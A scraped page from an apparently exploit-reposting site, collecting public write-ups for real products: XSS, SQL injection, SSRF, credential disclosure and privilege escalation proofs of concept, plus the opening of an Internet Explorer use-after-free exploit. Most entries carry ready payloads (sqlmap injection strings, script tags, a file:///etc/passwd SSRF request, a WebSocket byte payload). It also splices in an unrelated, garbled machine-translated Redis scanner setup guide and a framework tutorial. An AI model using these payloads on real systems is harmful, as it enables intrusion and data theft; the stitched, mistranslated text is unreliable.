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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: SmartFoxServer 2X 2.17.0 - God Mode Console WebSocket XSS
# Date: 29.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.smartfoxserver.com

Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
                  Remote Admin: 3.2.6
                  SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: Authenticated Cross-Site Scripting was discovered.
Input passed to the AdminTool console is not properly
sanitized before being returned to the user. This can be
exploited to execute arbitrary HTML code in a user's browser
session in context of an affected site.

-----------------------------------------------------------------
/ConsoleModuleReqHandler.java:
------------------------------

 private String checkHTML(String data) {
     if (data.indexOf(60) > -1 && data.indexOf("<span") == -1) {
         data = data.replaceAll("\\<", "<");
         return data.replaceAll("\\>", ">");
     }
     return data;

-----------------------------------------------------------------

Tested on: Windows (all) 64bit installer
           Linux/Unix 64bit installer
           MacOS (10.8+) 64bit installer
           Java 1.8.0_281
           Python 3.9.1
           Python 2.7.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5626
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5626.php


29.01.2021

--


Typing payload:
<script>confirm(document.URL)

WebSocket payload:
\x80\x00\x52\x12\x00\x03\x00\x01\x63\x02\x01\x00
\x01\x61\x03\x00\x0D\x00\x01\x70\x12\x00\x03\x00
\x01\x63\x08\x00\x0C\x63\x6F\x6E\x73\x6F\x6C\x65
\x2E\x68\x69\x6E\x74\x00\x01\x72\x04\xFF\xFF\xFF
\xFF\x00\x01\x70\x12\x00\x01\x00\x01\x63\x08\x00
\x18\x3C\x73\x63\x72\x69\x70\x74\x3E\x63\x6F\x6E
\x66\x69\x72\x6D\x28\x64\x6F\x63\x75\x6D\x65\x6E
\x74\x2E\x55\x52\x4C\x29
HireHackking 
# Exploit Title: SmartFoxServer 2X 2.17.0 - Credentials Disclosure
# Date: 29.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.smartfoxserver.com

SmartFoxServer 2X 2.17.0 Credentials Disclosure


Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
                  Remote Admin: 3.2.6
                  SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: The application stores sensitive information in an
unencrypted XML file called /config/server.xml. A local
attacker that has access to the current user session can
successfully disclose plain-text credentials that can be
used to bypass authentication to the affected server.

Tested on: Windows (all) 64bit installer
           Linux/Unix 64bit installer
           MacOS (10.8+) 64bit installer
           Java 1.8.0_281
           Python 3.9.1
           Python 2.7.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5627
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5627.php

CWE ID: CWE-312
CWE URL: https://cwe.mitre.org/data/definitions/312.html


29.01.2021

--


PS C:\Users\t00t\SmartFoxServer_2X\SFS2X\config> Get-Content server.xml | Select-String -Pattern passw -Context 1,0

          <login>sfsadmin</login>
>         <password>Waddup</password>
          <login>testingus</login>
>         <password>123456</password>
      <mailUser>username</mailUser>
>     <mailPass>password</mailPass>


C:\Users\t00t\SmartFoxServer_2X\SFS2X\config>icacls server.xml
server.xml NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           LAB42\t00t:(I)(F)
HireHackking 
# Exploit Title: Millewin 13.39.146.1 - Local Privilege Escalation
# Date: 2021-02-07
# Author: Andrea Intilangelo
# Vendor Homepage: https://www.millewin.it
# Software Homepage: https://www.millewin.it/index.php/prodotti/millewin 
# Software Link: https://download.millewin.it/files/Millewin/setup/InstMille_Demo_13.39_2019PS.exe
# Version: 13.39.028 – 146.1.9
# Tested on: Microsoft Windows 10 Enterprise x64
# CVE: CVE-2021-3394

Millennium Millewin also known as "Cartella clinica"

Vendor: Millennium S.r.l. / Dedalus Group / Dedalus Italia S.p.a.

Affected version: 13.39.028
                  13.39.28.3342
                  13.39.146.1
                  -

Summary (from online translator): 
Millewin represents the Professional Solution par excellence, recognized and supported by over 18,000 doctors. Millewin is able to guarantee ideal management
of the patient's medical records, it also adheres perfectly to the most recent requirements of the General Practitioner and, thanks to the latest functional
innovations, it assists the doctor in the diagnosis and management of therapy. It can be used, at no additional cost, for group medicine and at the secretarial
station. Millewin is integrated with all Regional and Corporate Projects. Millewin modules: ACN, MilleDSS, MilleAIR, Redazione e invio fatture, MilleBook.

Vuln desc: 
The application is prone to insecure permissions in its folders that allows unprivileged user complete control. An attacker can exploit the vulnerability by
arbitrarily replacing file(s) invoked by service(s)/startup regkey impacted. File(s) will be executed with SYSTEM privileges. 

The application is subject to insecure folders permissions issue impacting the services 'MillewinTaskService' and 'PDS Server' for Windows deployed as part of
Millewin suite (Cartella clinica) software application, and the registy runkey responsible to start update (MilleUpdater) task. 
This allow an authorized but non-privileged local or remote user to execute arbitrary code with elevated privileges on the system. An attacker can easily take
advantage of the flaw arbitrarily replacing the impacted file(s) that will be executed during application startup or reboot. If successful, the malicious file(s)
would execute with the elevated privileges of the application.

The application also suffers from unquoted service path issues.


(1) Impacted executable on startup by regkey.
Any low privileged user can elevate their privileges abusing this scenario:

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Value name:	MilleLiveUpdate
Value data:	"C:\Program Files (x86)\Millewin\MilleUpdater\MilleUpdater.exe"


(2) Impacted services.
Any low privileged user can elevate their privileges abusing any of these (also unquoted) services:

Millewin, operazioni pianificate    MillewinTaskService         C:\Program Files (x86)\Millewin\GestioneTaskService.exe     Auto
PDS Server                          PDS Server                  C:\Program Files (x86)\Millewin\WatchDogService.exe         Auto

	Details:
	
NOME_SERVIZIO: Millewintaskservice
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\Millewin\GestioneTaskService.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : Millewin, operazioni pianificate
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem

NOME_SERVIZIO: PDSserver
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\Millewin\WatchDogService.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : PDS Server
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem


(3) Folder permissions.
Insecure folders permissions issue:

C:\Program Files (x86)\Millewin 
                                BUILTIN\Users:(OI)(CI)(F)
                                Everyone:(OI)(CI)(F)
                                NT SERVICE\TrustedInstaller:(I)(F)
                                NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                NT AUTHORITY\SYSTEM:(I)(F)
                                NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                BUILTIN\Administrators:(I)(F)
                                BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                BUILTIN\Users:(I)(RX)
								BUILTIN\Users:(OI)(CI)(IO)(ID)(accesso speciale:)
                                                              GENERIC_READ
                                                              GENERIC_EXECUTE
                                ...[SNIP]...

C:\Program Files (x86)\Millewin\MilleUpdater 
                                             BUILTIN\Users:(OI)(CI)(ID)F
											 Everyone:(OI)(CI)(ID)F
                                             NT SERVICE\TrustedInstaller:(ID)F
                                             NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
                                             NT AUTHORITY\SYSTEM:(ID)F
                                             NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
                                             BUILTIN\Administrators:(ID)F
                                             BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
                                             BUILTIN\Users:(OI)(CI)(IO)(ID)(accesso speciale:)
                                                                           GENERIC_READ
                                                                           GENERIC_EXECUTE
                                ...[SNIP]...
HireHackking 
# Exploit Title: Jenzabar 9.2.2 - 'query' Reflected XSS.
# Date: 2021–02–06
# Exploit Author: y0ung_dst
# Vendor Homepage: https://jenzabar.com
# Version: Jenzabar — v9.2.0-v9.2.1-v9.2.2 (and maybe other versions)
# Tested on: Windows 10
# CVE : CVE-2021–26723


-Description:
  A Reflected Cross-site scripting (XSS) vulnerability in Jenzabar v9.2.0 through 9.2.2. Attacker could inject web script or HTML via the query parameter (aka the Search Field). To exploit the vulnerability, someone must click the link.

-Payload used:
  "><script>alert(1)</script>

-Example :
  https://localhost/ics?tool=search&query="><script>alert(1)</script>

-Steps to reproduce:
  1. Open a website that use Jenzabar v9.2.0 through 9.2.2.
  2. In the Search Field, enter anything.
  3. Edit the query by replacing the text with the payload.
  4. Press Enter to trigger the alert.
HireHackking 
# Exploit Title: WordPress Plugin Welcart e-Commerce 2.0.0 - 'search[order_column][0]' SQL injection
# Date: 04/08 2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://www.welcart.com/
# Software Link: https://downloads.wordpress.org/plugin/usc-e-shop.2.0.0.zip
# Category: Web Application
# Version: 2.0.0
# Tested on: Ubuntu 18.04.04 LTS / WordPress 5.4.2

# 05/08 2020: Vendor notified
# 06/08 2020: Vendor requested detailed information
# 06/08 2020: Information provided
# 11/08 2020: Vendor notified that a patch will be provided. No current ETA
# 10/12 2020: Vulnerability fixed

# 1. Description

The POST parameter "search[order_column][0]" does not sanitize user input when searching through the order lists.

# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching through existing order lists and save it to request.txt
Referer: http://192.168.0.63/wp-admin/admin.php?page=usces_orderlist

sqlmap -r request.txt --dbms=mysql -p search[order_column][0]

Parameter: search[order_column][0] (POST)
	Type: time-based blind
	Payload: search[order_column][0]=ID) AND (SELECT 9900 FROM (SELECT(SLEEP(5)))tKPd) AND (8867=8867&search[order_word][0]=test&search[order_word_term][0]=contain&search[order_term]=AND&search[order_column][1]=&search[order_word][1]=&search[order_word_term][1]=contain&search[product_column][0]=&search[product_word][0]=&search[product_word_term][0]=contain&search[product_term]=AND&search[product_column][1]=&search[product_word][1]=&search[product_word_term][1]=contain&searchIn=Search&allchange[column]=&collective=&wc_nonce=5e3ed8895f&_wp_http_referer=/wp-admin/admin.php?page=usces_orderlist
HireHackking 
# Exploit Title: WordPress Plugin Supsystic Pricing Table 1.8.7 - Multiple Vulnerabilities
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/pricing-table-by-supsystic.1.8.7.zip
# Version: 1.8.7 and 1.8.6 
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2

# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 07/12 2020: Vulnerability patched


##################################
			   SQLi
##################################


# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing pricing tables.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing pricing tables and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=supsystic-tables&module=tables

sqlmap -r request.txt --dbms=mysql -p sidx

Parameter: sidx (GET)
    Type: boolean-based blind
    Payload: mod=tables&action=getListForTbl&pl=pts&reqType=ajax&pts_nonce=2893fe633b&search[text_like]=test&_search=false&nd=1595624411398&rows=10&page=0&sidx=(SELECT (CASE WHEN (5313=5313) THEN 0x6964 ELSE (SELECT 9338 UNION SELECT 5490) END))&sord=desc

    Type: time-based blind
    Payload: mod=tables&action=getListForTbl&pl=pts&reqType=ajax&pts_nonce=2893fe633b&search[text_like]=test&_search=false&nd=1595624411398&rows=10&page=0&sidx=id AND (SELECT 9475 FROM (SELECT(SLEEP(5)))OjhB)&sord=desc



##################################
			Stored XSS
##################################


# 1. Description

The "Edit name" and "Edit HTML" features are vulnerable to stored XXS.
Location: http://192.168.0.49/wp-admin/admin.php?page=tables-supsystic&tab=tables_edit&id=[TABLE ID]


# 2. Proof of Concept (PoC)

Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--'
The payload will execute when viewing the pricing table itself, and also in the "Show All Tables" section.
Enter the following payload into the "Edit HTML" section in the top right corner:	<script>alert(1)</script><!--
The payload will get stored and will execute everytime the user attempts to view the pricing table.
HireHackking 
# Exploit Title: WordPress Plugin Supsystic Ultimate Maps 1.1.12 - 'sidx' SQL injection
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/ultimate-maps-by-supsystic.1.1.12.zip
# Category: Web Application
# Version: 1.1.12
# Tested on: 16.04.6 LTS / WordPress 5.4.2

# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 09/12 2020: Vulnerability fixed

# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing maps.

# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing maps and save it to request.txt
Referer: http://192.168.0.49/wp-admin/admin.php?page=ultimate-maps-supsystic

sqlmap -r request.txt --dbms=mysql -p sidx

Parameter: sidx (GET)
	Type: boolean-based blind
	Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=1595781611306&rows=10&page=1&sidx=(SELECT (CASE WHEN (7084=7084) THEN 0x6964 ELSE (SELECT 3932 UNION SELECT 2499) END))&sord=desc

	Type: time-based blind
	Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=1595781611306&rows=10&page=1&sidx=id AND (SELECT 9735 FROM (SELECT(SLEEP(5)))AJAb)&sord=desc
HireHackking 
# Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery
# Date: 09.01.2021
# Author: Numan Türle
# Vendor Homepage: https://mfscripts.com
# Software Link: https://yetishare.com
# Version: v5.1.0
# Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4


Summary
---------
YetiShare is script the file hosting. This script has remote file upload feature.
Since sufficient security measures are not taken in the remote file upload area, 
SSRF vulnerability available.

Description
---------
When a new upload request is received by the user, the following function block 
is called first.
app/tasks/process_remote_file_downloads.cron.php
------------------------------------------------
        // include plugin code
        $url = $urlDownloadData['url'];
        $params = PluginHelper::includeAppends('url_upload_handler', array(
            'url' => $url,
            'rowId' => 0,
            'urlDownloadData' => $urlDownloadData,
            )
        );
        $url = $params['url'];

        // start download
        $upload_handler->handleRemoteUrlUpload($url);
------------------------------------------------

The url parameter received as input from the user in the called function blog is 
sent to the "handleRemoteUrlUpload" function. 

/Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/
Uploader.class.php
------------------------------------------------------------------
public function handleRemoteUrlUpload($url, $rowId = 0) {
        .....
        $remoteFileDetails = $this->getRemoteFileDetails($url);
        $remoteFilesize = (int) $remoteFileDetails['bytes'];
        if ($remoteFilesize > $this->options['max_file_size']) {
            .....ERROR MSG
        }
        else {
            // look for real filename if passed in headers
            if (strlen($remoteFileDetails['real_filename'])) {
                $realFilename = trim(current(explode(';', 
                $remoteFileDetails['real_filename'])));
                if (strlen($realFilename)) {
                    $this->fileUpload->name = $realFilename;
                }
            }

            // try to get the file locally
            $localFile = $this->downloadRemoteFile($url, true);
------------------------------------------------------------------

In this function that is called, the details of the file are taken first and if 
the bytes is not larger than the max_file_size, the "downloadRemoteFile" 
function will go to the download.

------------------------------------------------------------------
public function getRemoteFileDetails($url) {
      .....
            $execute = curl_exec($ch);

            // check if any error occured
            if (!curl_errno($ch)) {
                $rs['bytes'] = (int) curl_getinfo($ch, 
                CURLINFO_CONTENT_LENGTH_DOWNLOAD);
.....
------------------------------------------------------------------
------------------------------------------------------------------
public function downloadRemoteFile($url, $streamResponse = false) {
        .....
        // use curl
        if (function_exists('curl_init')) {
            // get file via curl
            $fp = fopen($tmpFullPath, 'w+');
            if ($ch === null) {
                $ch = curl_init();
            }

            curl_setopt($ch, CURLOPT_URL, $url);
            .....
            curl_setopt($ch, CURLOPT_FILE, $fp);
            if (curl_exec($ch) === false) {
                // log error
                LogHelper::error('Failed getting url. Error: ' 
                . curl_error($ch) . ' (' . $url . ')');
                return false;
            }
            $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            fclose($fp);
            .....
        }
.....
------------------------------------------------------------------




POC
---------

GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1
Host: target.com
Connection: close
Accept: */*
Cookie: HERE_COOKIE



Response
---------
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Connection: close
Pragma: no-cache
Content-Length: XXX

...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082,
"type":"text\/plain; charset=us-ascii","error":null,"rowId":0,
"requestUrl":"file:\/\/\/etc\/passwd","url":....



..........
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
HireHackking

1。 Redisサービスのインストール

システム環境：CENTOS7X64 IPアドレス：192.168.1.11

1。静的IPアドレスを設定します

[root@localhost backlion] #vi/etc/sysconfig/network-scripts/ifcfg-*

bootproto=static #dhcp to static（modify）

onboot=はい＃この構成は、通常は最後の行で電源を入れるときにenableです（変更）

iPaddr=192.168.1.11 #Static IP（追加）

ゲートウェイ=192.168.1.1＃デフォルトゲートウェイ。仮想マシンがインストールされている場合、それは通常2です。これはVMNET8のゲートウェイ設定です（追加）

netmask=255.255.255.0 #subnetマスク（追加）

DNS1=192.168.1.1 #DNS構成。仮想マシンをインストールする場合、DNSだけが単なるゲートウェイです。複数のDNS URLを追加する場合は、それらを追加します（追加）

2。ホスト名を設定

[root@localhost network-scripts]

1. Redisのリポジトリアドレスを設定します

[root@localhost backlion]＃yumininstall epel-release

3。ファイアウォールをオフにします

[root@localhost〜]＃cat/etc/selinux/config

＃このファイルは、システム上のSELINUXの状態を制御します。

＃selinux=これら3つの値のいずれかを取得できます3:

＃執行- SELINUXセキュリティポリシーが施行されています。

＃許容- SELINUXは、強制する代わりに警告を印刷します。

＃無効-Selinuxポリシーはロードされていません。

selinux=disabled

＃SELINUXTYPE=3つのValue:のいずれかを取得できます

＃ターゲット - ターゲットプロセスが保護されています、

＃最小- ターゲットポリシーの変更。選択されたプロセスのみが保護されています。

＃MLS-マルチレベルのセキュリティ保護。

selinuxType=ターゲット

閉じるファイアウォール：

Systemctl stop firewalld.service #stop firewall

SystemCtl Disabled firewalld.service #disable firewallブート

4。 Redis

をインストールします

[root@localhost

backlion]＃yumインストールredis

構成ファイルを変更し、すべてのIPアドレスを聞く

vim /etc/redis.conf

次の行を見つけます

バインド

127.0.0.1

に変更します

0.0.0.0をバインドします

3。Redis構成認証パスワード

yumメソッドにインストールされているRedis構成ファイルは通常/etc /redis.confにあり、パスワードを追加し、デーモニズはyesと保護されたモードを設定します。

requirepass backlion

はいデーモー化

保護されたモード番号

nrrlemdsla38999.jpg

4. Redisを開始して完了します

[root@localhost]

backlion]＃redis-server /etc/redis.conf

[root@localhost]

backlion]＃service redis start

自動起動をセットアップする必要がある場合

chkconfig

redis on

[root@localhost]

backlion]＃yumインストールgit

[root@localhost]

バックライオン] ＃CD /OPT

[root@localhost backlion]＃

git clone https://github.com/grayddq/publicsecscan.git

2。サーバー展開

システム環境：Ubuntux64 IPアドレス：192.168.1.12

1。Optディレクトリを入力します

root@backlion:〜＃

CD /OPT

2。スキャンプロジェクトPublicsecscanをダウンロードします

root@backlion:〜＃

git clone https://github.com/grayddq/publicsecscan.git

3. Publicsecscanディレクトリを入力します

root@backlion:〜＃

CD Publicsecscan

4. publicsecscanをインストールします

ピップ

-r requistions.txtをインストールします

5 lib/config.py configurationファイルを構成します（Redisと電子メール（オプション）関連情報に入力します、WVS情報は無視できます

））

p4kcfet3bgf9000.jpg

6。

domain.txtでスキャンする情報を入力し、いつでも更新できます

7。実行

Python

publicsecscan.py

kfl0pe14kdt9001.jpg

iii。ワーカーの展開

システム環境：Win7x86 IPアドレス：192.168.1.13

1. Python 2.7.5をインストールします

https://www.python.org/ftp/python/2.7.5/python-2.7.5.msi＃ここではwin7x86です

2。AWVS10.5をインストールします

リンク:https://pan.baidu.com/s/16imwwgijzyi6cr1rocd7mqパスワード:ia2m

3. Pythonモジュールを個別にインストールします

AMQP-1.4.6、

Anyjson-0.3.3、10億-3.3.0.13、Celery-3.1.7、Celery-4.1.1、Kombu-3.0.25、

Pytz-2018.4、Redis-2.10.6、Setuptools-39.2.0、XLWT-1.3.0、PIP-10.0.1

次のコマンドを使用してインストールします

Python

setup.pyインストール

私はすでにパッケージを完成させ、簡単にダウンロードするためにBaidu Netdiskにアップロードしました：

リンク:

https://pan.baidu.com/s/1sv-wudzzhmtnuua2s4fbjqパスワード:

TNBW

4。lib/config.py構成ファイルを構成します（RedisおよびWVS関連情報に入力すると、電子メール情報を無視できます。

））

5. publicsecscanディレクトリを入力し、コマンドを実行します

CMDコードディレクトリの実行、-c 1はさらに1つのWVSプロセスを表します。

セロリ

-aタスクワーカー-c 1 - loglevel=info -ofair

1n5isnknt3g9002.jpg

6。サーバーの展開での結果の結果を表示します：

出力ディレクトリデフォルト：/out/2sh5wwzfekt9003.jpg

HireHackking 
# Exploit Title: AMD Fuel Service - 'Fuel.service' Unquote Service Path
# Discovery by: Hector Gerbacio
# Discovery Date: 2021-02-05
# Vendor Homepage: https://www.amd.com/
# Tested Version: 1.0.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 con Bing

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\WINDOWS\\" | findstr /i "fuel.service" | findstr /i /v """
AMD FUEL Service		AMD FUEL Service		C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe /launchService                          Auto

# Service info:

C:\>sc qc "AMD FUEL Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: AMD FUEL Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe /launchService
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : AMD FUEL Service
        DEPENDENCIAS       : RpcSs
        NOMBRE_INICIO_SERVICIO: LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
HireHackking

1: Inherit the import method in the controller

Edit file: application\admin\controller\xxx.php

public function import(){

return parent:import(); 2: Add import_url to the corresponding JS of the module, as follows

import_url: 'class7/import',q1lh5aussyb3697.png

In fact, in the new version, these are all added well. You don't need to add it.

Three: Add the import button in index.html.

a href='javascript:' class='btn btn-info btn-import {:$auth-check('class7/import')?'':'hide'}' title='{:__('import')}' i class='fa fa-arrow-circle-o-up'/i {:__('import')}/aThe effect is as follows3lsus5r5k543698.png

Four: Importing skills

Import according to fields or comments in the database.逍遥子大表哥

HireHackking 
# Exploit Title: Alt-N MDaemon webmail 20.0.0 - 'Contact name' Stored Cross Site Scripting (XSS)
# Date: 2020-08-25
# Exploit Author: Kailash Bohara
# Vendor Homepage: https://www.altn.com/
# Version: Mdaemon webmail < 20.0.0
# CVE : 2020-18724

1. Go to contact section and distribution list menu. Create a new distribution list.
2. Contact name field is vulnerabile to XSS. Use the payload <img src=x onerror=alert(1)>
3. We can see execution code and after saving it, each time we visits the distribution list section the XSS pop-up is seen.
HireHackking 
# Exploit Title: WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection
# Date: 24/07 2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/newsletter-by-supsystic.1.5.5.zip
# Category: Web Application
# Version: 1.5.5
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 01/12 2020: Plugin/Project closed by WordPress Security team


# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing subscribers.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing subscribers and save it to request.txt.
Referer: http://192.168.0.49/wp-admin/admin.php?page=newsletters-supsystic&tab=subscribers

sqlmap -r request.txt --dbms=mysql -p sidx

Parameter: sidx (GET)
	Type: time-based blind
	Payload: mod=subscribers&action=getListForTbl&pl=nbs&reqType=ajax&search[text_like]=testing&search[search_list]=0&_search=false&nd=1595780014444&rows=25&page=0&sidx=id AND (SELECT 1511 FROM (SELECT(SLEEP(5)))gTHi)&sord=desc
HireHackking 
# Exploit Title: Alt-N MDaemon webmail 20.0.0 - 'file name' Stored Cross Site Scripting (XSS)
# Date: 2020-08-25
# Exploit Author: Kailash Bohara
# Vendor Homepage: https://www.altn.com/
# Version: Mdaemon webmail < 20.0.0
# CVE : 2020-18723

1. Rename a file and set it’s name as <img src=x onerror=alert(1)>.jpg
2. Go to New mail, select recipient and the select attachment. Code gets executed as right after upload so it becomes self XSS.
3. Send the mail to recipient and open email from recipent side. Opening just a mail doesn’t executes the code but when the victim clicks on forward button, XSS pop-up is shown.
HireHackking 
# Exploit Title: Microsoft Internet Explorer 11 32-bit - Use-After-Free
# Date: 2021-02-05
# Exploit Author: deadlock (Forrest Orr)
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx
# Version: IE 8, 9, 10, and 11
# Tested on: Windows 7 x64 and Windows 7 x86
# CVE: CVE-2020-0674
# Bypasses: DEP, ASLR, EMET 5.5 (EAF, EAF+, stack pivot protection, SimExec, CallerCheck)
# Original (64-bit) exploit credits: maxpl0it

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
<script language="JScript.Compact">

/*

  ___ _   _  ___  ___ __ ___ __      __   ___ ___ _  _
 / _/| \ / || __|(_  /  (_  /  \ __ /  \ / __|_  | || |
| \__`\ V /'| _|__/ / // / / // |__| // | ,_ \/ /`._  _|
 \__/  \_/  |___||___\__/___\__/    \__/ \___/_/    |_|

Overview

This is a 32-bit re-creation of CVE-2020-067, a vulnerability in the legacy
Javascript engine (jscript.dll) in Windows. It was used in historic versions
of Internet Explorer but its load/usage can still be coerced (and thus exploited)
in all versions of IE up to 11.

A high quality description of this exploit can be found on F-Secure's blog at:
https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer/

The original public 64-bit variation of this exploit was written by maxspl0it
and can be found at https://github.com/maxpl0it/CVE-2020-0674-Exploit

Maxspl0it's variation of this exploit works on IE 8-11 64-bit. It is using a
ret2libc style attack with a RIP hijack to NTDLL.DLL!NtContinue which then
calls KERNEL32.DLL!WinExec. Since it is on 64-bit (the first 4 parameters are in
RCX, RDX, R8 and R9) no stack pivot is needed, and this drastically simplifies
the creation of the exploit (especially as it relates to exploit mitigation
protections such as EMET).

My motivation in creating my own variation of this exploit was threefold:

1. I wanted to write an exploit that woulld work on 32-bit (as this is the
   default IE used on Windows 7 and 8.1 and thus makes the exploit more practical).
2. I wanted it to bypass the advanced exploit mitigation features such as stack
   pivot protection, EAF+, SimExec and CallerCheck (EMET 5.5 in Windows 7 but built
   into Windows Defender Exploit Guard today).
3. I wanted it to execute a shellcode payload rather than simply a command via
   a ret2libc style sttack.

The first point was a relatively easy one to deal with. The sizes and offsets of
various internal Windows and Javascript structures had to be adjusted for 32-bit.
